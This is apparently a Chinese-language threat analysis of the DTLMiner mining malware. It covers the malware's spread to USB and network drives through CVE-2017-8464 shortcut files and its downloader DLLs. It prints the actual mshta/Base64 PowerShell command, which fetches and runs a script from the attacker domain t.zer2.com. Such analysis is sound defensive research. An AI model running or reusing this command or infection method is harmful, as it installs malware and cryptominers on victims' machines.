技术分析
在最新的样本中DTLMiner硬编码保存了两个具有下载恶意病毒功能的DLL文件, 分别是32与64位版本。
图:blue3/blue6.bin
在PowerShell中新增加一段C#代码, 每隔5秒便检测最新接入的可移动磁盘和网络磁盘并尝试投放感染文件。
图:磁盘感染功能
遍历系统中的可移动磁盘、网络磁盘, 对未感染过的磁盘投放病毒文件同时加入过滤列表下次不再检查。
图:监控新磁盘的接入
检查磁盘类型, 针对FAT32或NTFS格式的可移动磁盘或网络磁盘类型进行感染操作。
图:检测文件类型
利用CVE-2017-8464漏洞构造快捷方式文件, 将blue3/blue6.bin与快捷方式文件写入到目标磁盘中。
图:在目标磁盘创建感染文件
释放blue3.bin、blue6.bin恶意文件下载器DLL到目标磁盘。
图:释放下载器DLL
在磁盘中释放的文件如下所示, 其中blue3.bin是32位的DLL, blue6是64位DLL. 由于利用CVE-2017-8464这个漏洞的必须给予绝对路径, 而系统加载U盘是根据剩余可分配的盘符来决定的, DTLMiner提前构造了[D-K] 8个盘符的lnk文件, 从而实现稳定的漏洞利用。
图:在可移动磁盘释放恶意文件
.lnk链接文件利用了CVE-2017-8464漏洞, 无需用户操作, 只要用户浏览了感染文件对应的磁盘就会主动加载DLL文件。
图:CVE-2017-8464漏洞
创建互斥体“MGYnGYPf”防止重复执行, 创建进程rundll32.exe, 通过rundll32.exe执行一段ShellCode。
图:创建Rundll32.exe
ShellCode通过WinExec函数启动mshta执行经过Base64编码的Powshell命令下载DTLMiner执行。
mshta vbscript:createobject("wscript.shell").run("powershell -nop -e JABsAGYAPQAkAGUAbgB2ADoAdABtAHAAKwAnAFwAawBkAGwAcwA5ADIAagBzAGoAcQBzADAALgB1AHMAYgAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJABsAGYAKQApAHsASQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdAAuAHoAZQByADIALgBjAG8AbQAvAHUAcwBiAC4AagBzAHAAJwApADsAbgBlAHcALQBpAHQAZQBtACAAJABsAGYAIAAtAHQAeQBwAGUAIABmAGkAbABlAH0A",0)(window.close)
图:通过WinExec启动mshta
Base64解码后脚本如下,将通过http://t.zer2.com下载usb.jsp脚本。
图:解码后下载脚本
usb.jsp脚本内容同以前的版本相同,在用户主机执行后续挖矿流程。
图:挖矿操作